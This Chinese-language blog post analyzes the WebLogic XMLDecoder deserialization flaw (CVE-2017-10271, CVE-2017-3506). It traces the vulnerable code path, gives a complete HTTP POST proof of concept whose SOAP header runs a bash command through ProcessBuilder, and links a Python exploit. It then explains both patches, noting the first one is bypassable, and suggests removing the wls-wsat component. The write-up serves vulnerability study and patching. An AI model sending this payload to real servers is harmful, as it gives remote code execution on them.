• weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)


    一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.html

    二、weblogic弱口令 http://www.cnblogs.com/0x4D75/p/8918761.html

    三、weblogic 后台提权 http://www.cnblogs.com/0x4D75/p/8919760.html

    四、 weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

    影响版本:

    Oracle WebLogic Server 10.3.6.0.0版本
    Oracle WebLogic Server 12.1.3.0.0版本
    Oracle WebLogic Server 12.2.1.1.0版本
    Oracle WebLogic Server 12.2.1.2.0版本

    0. 漏洞分析

    通过POC利用后,抓取weblogic的返回响应的xml部分如下,调用栈在<ns2:frame />标签中:

    从调用栈可以明确的看到源码中weblogic调用函数的过程:

    processRequest>readHeaderOld>receive>receiveRequest>receiveRequest>readEntry>readUTF

    我们发送的poc经过这部分处理,就到了 <ns2:frame class="java.beans.XMLDecoder" file="XMLDecoder.java" line="206" method="readObject"/>中。

    processRequest函数源码为:

    public NextAction processRequest(Packet var1) {
       this.isUseOldFormat = false;
       if(var1.getMessage() != null) {
          HeaderList var2 = var1.getMessage().getHeaders();
          Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
          if(var3 != null) {
             this.readHeaderOld(var3);
             this.isUseOldFormat = true;
          }
          Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
          if(var4 != null) {
             this.readHeader(var4);
          }
       }
    

    WorkAreaConstants.WORK_AREA_HEADER:

    public interface WorkAreaConstants{
    	String WORK_NS = "http://bea.com/2004/06/soap/workarea/";
    	String WORK_PREFIX = "work";
    	String XML_TAG_WORK_CONTEXT = "WorkContext";
    	String XML_TAG = "work:WorkContext";
    	QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work");
    	QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER}
    }
    

    readHeaderOld源码:

    protected void readHeaderOld(Header var1) {
       try {
          XMLStreamReader var2 = var1.readHeader();
          var2.nextTag();
          var2.nextTag();
          XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
          ByteArrayOutputStream var4 = new ByteArrayOutputStream();
          XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
          var3.bridge(var2, var5);
          var5.close();
          WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
          this.receive(var6);
       } catch (XMLStreamException var7) {
          throw new WebServiceException(var7);
       } catch (IOException var8) {
          throw new WebServiceException(var8);
       }
    }
    

    其中:

    ByteArrayOutputStream: 捕获内存缓冲区的数据,转换成字节数组  
    ByteArrayInputStream: 将字节数组转化为输入流 
    

    上述过程中,var4会被赋予Poc中java标签内的代码,即:

    <java version="1.4.0" class="java.beans.XMLDecoder">
                            <void class="java.lang.ProcessBuilder">
                                <array class="java.lang.String" length="3">
                                    <void index="0">
                                        <string>/bin/bash</string>
                                    </void>
                                    <void index="1">
                                        <string>-c</string>
                                    </void>
                                    <void index="2">
                                    <string>id > /tmp/b4z</string>
                                    </void>
                                </array>
                            <void method="start"/></void>
                        </java>
    

    WorkContextXmlInputAdapter代码:

    public WorkContextXmlInputAdapter(InputStream var1){
    	this.xmlDecoder = new XMLDecoder(var1);
    }
    

    可以看到,在WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,从而导致反序列化远程代码执行。

    1. 利用过程

    poc如下:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.136.130:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: text/xml;charset=UTF-8
    Content-Length: 1113
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
                <soapenv:Header>
                    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                        <java version="1.4.0" class="java.beans.XMLDecoder">
                            <void class="java.lang.ProcessBuilder">
                                <array class="java.lang.String" length="3">
                                    <void index="0">
                                        <string>/bin/bash</string>
                                    </void>
                                    <void index="1">
                                        <string>-c</string>
                                    </void>
                                    <void index="2">
                                    <string>id > /tmp/b4</string>
                                    </void>
                                </array>
                            <void method="start"/></void>
                        </java>
                    </work:WorkContext>
                </soapenv:Header>
            <soapenv:Body/>
    </soapenv:Envelope>
    
    
    

    **python版完整利用代码: ** https://github.com/b4zinga/Explib/blob/master/weblogic.py

    2. 修复建议

    • 安装补丁

    四月份补丁(3506),在文件WorkContextXmlInputAdapter.java中,添加了validate()

    public WorkContextXmlInputAdapter(InputStream is)  {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();    try
        {      int next = 0;
          next = is.read();      while (next != -1)
          {
            baos.write(next);
            next = is.read();
          }
        }    catch (Exception e)
        {      throw new IllegalStateException("Failed to get data from input stream", e);
        }
        validate(new ByteArrayInputStream(baos.toByteArray()));    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
      }  
      private void validate(InputStream is)  {
        WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();    try
        {
          SAXParser parser = factory.newSAXParser();
          parser.parse(is, new DefaultHandler()
          {        public void startElement(String uri, String localName, String qName, Attributes attributes)
              throws SAXException        {          if (qName.equalsIgnoreCase("object")) {            throw new IllegalStateException("Invalid context type: object");
              }
            }
          });
        }    catch (ParserConfigurationException e)
        {      throw new IllegalStateException("Parser Exception", e);
        }    catch (SAXException e)
        {      throw new IllegalStateException("Parser Exception", e);
        }    catch (IOException e)
        {      throw new IllegalStateException("Parser Exception", e);
        }
      }
    

    其实就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过。

    10271补丁:

    private void validate(InputStream is) {
       WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
       try {
          SAXParser parser = factory.newSAXParser();
          parser.parse(is, new DefaultHandler() {
             private int overallarraylength = 0;
             public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
                if(qName.equalsIgnoreCase("object")) {
                   throw new IllegalStateException("Invalid element qName:object");
                } else if(qName.equalsIgnoreCase("new")) {
                   throw new IllegalStateException("Invalid element qName:new");
                } else if(qName.equalsIgnoreCase("method")) {
                   throw new IllegalStateException("Invalid element qName:method");
                } else {
                   if(qName.equalsIgnoreCase("void")) {
                      for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                         if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                            throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                         }
                      }
                   }
                   if(qName.equalsIgnoreCase("array")) {
                      String var9 = attributes.getValue("class");
                      if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                         throw new IllegalStateException("The value of class attribute is not valid for array element.");
                      }
    

    本次限制了object,new, method, void,array等关键字段,这样就不能生成Java实例,所以不能执行命令。

    • 删除WLS-WebServices组件
       Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
    
       Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
    
       Middleware/wlserver_10.3/server/lib/wls-wsat.war
    
  • 相关阅读:
    2w字 + 40张图带你参透并发编程!
    完了,这个硬件成精了,它竟然绕过了 CPU...
    一文详解 Java 并发模型
    详解匈牙利算法与二分图匹配
    机器学习 | 详解GBDT在分类场景中的应用原理与公式推导
    Python | 浅谈并发锁与死锁问题
    LeetCode 91,点赞和反对五五开,这题是好是坏由你来评判
    LeetCode 90 | 经典递归问题,求出所有不重复的子集II
    【Azure DevOps系列】什么是Azure DevOps
    MSIL入门(四)之委托delegate
  • 原文地址:https://www.cnblogs.com/0x4D75/p/8933028.html
Copyright © 2020-2023  润新知